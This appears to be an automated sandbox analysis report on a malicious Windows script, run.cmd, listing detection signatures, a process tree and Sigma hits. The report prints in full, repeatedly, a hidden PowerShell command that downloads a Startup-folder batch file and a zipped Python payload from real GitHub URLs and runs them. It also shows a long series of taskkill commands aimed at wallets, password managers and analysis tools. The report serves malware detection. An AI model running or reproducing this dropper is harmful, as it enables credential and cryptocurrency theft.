Edit tour

Windows Analysis Report
run.cmd

Overview

General Information

Sample name:	run.cmd
Analysis ID:	1571739
MD5:	86762ed7dbbeed94bf80931443848b6c
SHA1:	de2535a283c1bb14f14381d82021f138601511e0
SHA256:	5625b1f1ed09defd9e34b1f034db9c8fc53bb63c365cf4ef91e494ede792a663
Tags:	Braodocmduser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

AI detected suspicious sample

Excessive usage of taskkill to terminate processes

Powershell drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Program Location with Network Connections

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to download and execute files (via powershell)

Tries to harvest and steal browser information (history, passwords, etc)

Uses taskkill to terminate AV processes

Uses the Telegram API (likely for C&C communication)

AV process strings found (often used to terminate AV products)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Download - PoshModule

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 8096 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\run.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1028 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

python.exe (PID: 4332 cmdline: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py MD5: A7F3026E4CF239F0A24A021751D17AE2)

taskkill.exe (PID: 3200 cmdline: taskkill /F /IM ArmoryQt.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 3888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7276 cmdline: taskkill /F /IM "Atomic Wallet.exe" MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2180 cmdline: taskkill /F /IM bytecoin-gui.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2952 cmdline: taskkill /F /IM Coinomi.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6056 cmdline: taskkill /F /IM Element.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 4240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3996 cmdline: taskkill /F /IM Exodus.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4140 cmdline: taskkill /F /IM Guarda.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 4932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4920 cmdline: taskkill /F /IM KeePassXC.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 4772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5288 cmdline: taskkill /F /IM NordVPN.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 4832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3068 cmdline: taskkill /F /IM OpenVPNConnect.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5356 cmdline: taskkill /F /IM seamonkey.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7760 cmdline: taskkill /F /IM Signal.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5320 cmdline: taskkill /F /IM filezilla.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 5264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7496 cmdline: taskkill /F /IM filezilla-server-gui.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6036 cmdline: taskkill /F /IM keepassxc-proxy.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 4940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4484 cmdline: taskkill /F /IM nordvpn-service.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 3192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7908 cmdline: taskkill /F /IM steam.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4316 cmdline: taskkill /F /IM walletd.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 1012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6688 cmdline: taskkill /F /IM waterfox.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 1452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5988 cmdline: taskkill /F /IM Discord.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1120 cmdline: taskkill /F /IM DiscordCanary.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4648 cmdline: taskkill /F /IM burp.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6148 cmdline: taskkill /F /IM Ethereal.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4064 cmdline: taskkill /F /IM EtherApe.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2892 cmdline: taskkill /F /IM fiddler.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6316 cmdline: taskkill /F /IM HTTPDebuggerSvc.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 1480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2024 cmdline: taskkill /F /IM HTTPDebuggerUI.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6940 cmdline: taskkill /F /IM snpa.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 1008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1824 cmdline: taskkill /F /IM solarwinds.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1412 cmdline: taskkill /F /IM tcpdump.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6444 cmdline: taskkill /F /IM telerik.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5500 cmdline: taskkill /F /IM wireshark.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7264 cmdline: taskkill /F /IM winpcap.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7412 cmdline: taskkill /F /IM telegram.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
run.cmd	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 1028	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_1028.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, CommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, CommandLine|base64offset|contains: , Image: C:\Users\Public\Document\python.exe, NewProcessName: C:\Users\Public\Document\python.exe, OriginalFileName: C:\Users\Public\Document\python.exe, ParentCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1028, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, ProcessId: 4332, ProcessName: python.exe

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\run.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , ProcessId: 1028, ProcessName: powershell.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1028, TargetFilename: C:\Users\Public\Document\Lib\ctypes\macholib\fetch_macholib.bat

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 208.95.112.1, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Document\python.exe, Initiated: true, ProcessId: 4332, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1028, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1028, TargetFilename: C:\Users\Public\Document\python.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\run.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , ProcessId: 1028, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious PowerShell Download - PoshModule

Source: Event Logs

Author: Florian Roth (Nextron Systems): Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 7af42d7e-b1ad-49f8-ab7b-07c6923c8a7c Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force Engine Version = 5.1.19041.1682 Runspace ID = ac30ec22-5041-48f4-ad40-5d9b090ed4b1 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 7af42d7e-b1ad-49f8-ab7b-07c6923c8a7c Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force Engine Version = 5.1.19041.1682 Runspace ID = ac30ec22-5041-48f4-ad40-5d9b090ed4b1 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compressi

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\run.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , ProcessId: 1028, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

